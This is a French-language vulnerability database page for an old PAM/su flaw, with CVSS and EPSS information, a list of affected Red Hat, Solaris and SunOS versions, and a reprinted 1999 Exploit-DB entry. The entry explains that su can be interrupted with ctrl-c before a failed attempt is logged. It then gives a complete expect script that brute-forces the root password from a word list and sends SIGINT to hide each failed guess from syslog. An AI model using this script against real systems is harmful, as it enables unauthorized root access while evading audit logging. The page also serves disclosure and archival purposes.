Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 19255
Date de publication : 1999-06-08 22h00 +00:00
Auteur : Tani Hosokawa
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/320/info
A vulnerability in PAM allows local malicious users to brute force passwords via the su command without any logging of their activity.
su is a command that allows users to change identifies by supplying a password. If the password is correct su immediately executes a new shell with the identity of the nw user, otherwise it sleeps for a second and then logs an authentication failure to syslog.
Since su sleeps before logging the failure and does not trap SIGINT a user can try a password and if su does not immediately give him a new shell and before one second hits control-c his attempt will not be logged. He can automate the process to brute force passwords.
Its been tested using sh-utils-1.16-14 and pam-0.64-3.
#!/usr/local/bin/expect --
# A quick little sploit for a quick round of beers :)
[email protected]
#
# This was something that had been floating around for some time.
# It might have been bitwrior that pointed out some of the oddities
# but I don't remember.
#
# It was mentioned to Casper Dik at some point and it was fixed in
# the next rev of Solaris (don't remember if the fix took place in
# 2.5.1 or 2.6 - I know it is in 2.6 at least).
#
# What happened was that the Solaris 2.5 and below systems
# had /bin/su written in the following fashion :
#
# attempt to SU
# |
# succesfull
# / \
# Y N
# | |
# exec cmd sleep
# |
# syslog
# |
# exit
#
# There were a few problems here - not the least of which was that they
# did not bother to trap signals. Thus, if you noticed su taking a while
# you most likely entered an incorrect password and were in the
# sleep phase.
#
# Sending a SIGINT by hitting ctrl-c would kill the process
# before the syslog of the invalid attempt occured.
#
# In current versions of /bin/su they DO trap signals.
#
# It should be noted that this is a fairly common coding problem that
# people will find in a lot of "security related" programs.
#
# .mudge
if { ($argc < 1) || ($argc > 1) } {
puts "correct usage is : $argv0 pwfile"
exit
}
set pwfile [open $argv "r"]
log_user 0
foreach line [split [read $pwfile] "\n"] {
spawn su root
expect "Password:"
send "$line\n"
# you might need to tweak this but it should be ok
set timeout 2
expect {
"#" { puts "root password is $line\n" ; exit }
}
set id [ exp_pid ]
exec kill -INT $id
}
Products Mentioned
Configuraton 0
Redhat>>Linux >> Version 2.0
Redhat>>Linux >> Version 2.1
Redhat>>Linux >> Version 3.0.3
Redhat>>Linux >> Version 4.0
Redhat>>Linux >> Version 4.1
Redhat>>Linux >> Version 4.2
Redhat>>Linux >> Version 5.0
Redhat>>Linux >> Version 5.1
Redhat>>Linux >> Version 5.2
Redhat>>Linux >> Version 5.2
Redhat>>Linux >> Version 5.2
Redhat>>Linux >> Version 6.0
Redhat>>Linux >> Version 6.0
Redhat>>Linux >> Version 6.0
Redhat>>Linux >> Version 6.1
Redhat>>Linux >> Version 6.1
Redhat>>Linux >> Version 6.1
Sun>>Solaris >> Version *
Sun>>Solaris >> Version 1.1.3
Sun>>Solaris >> Version 1.1.4
Sun>>Solaris >> Version 2.4
Sun>>Sunos >> Version -
Sun>>Sunos >> Version 4.1.3
Sun>>Sunos >> Version 4.1.4
Sun>>Sunos >> Version 5.0
Sun>>Sunos >> Version 5.1
Sun>>Sunos >> Version 5.2
Sun>>Sunos >> Version 5.3
Sun>>Sunos >> Version 5.4
Sun>>Sunos >> Version 5.5
Références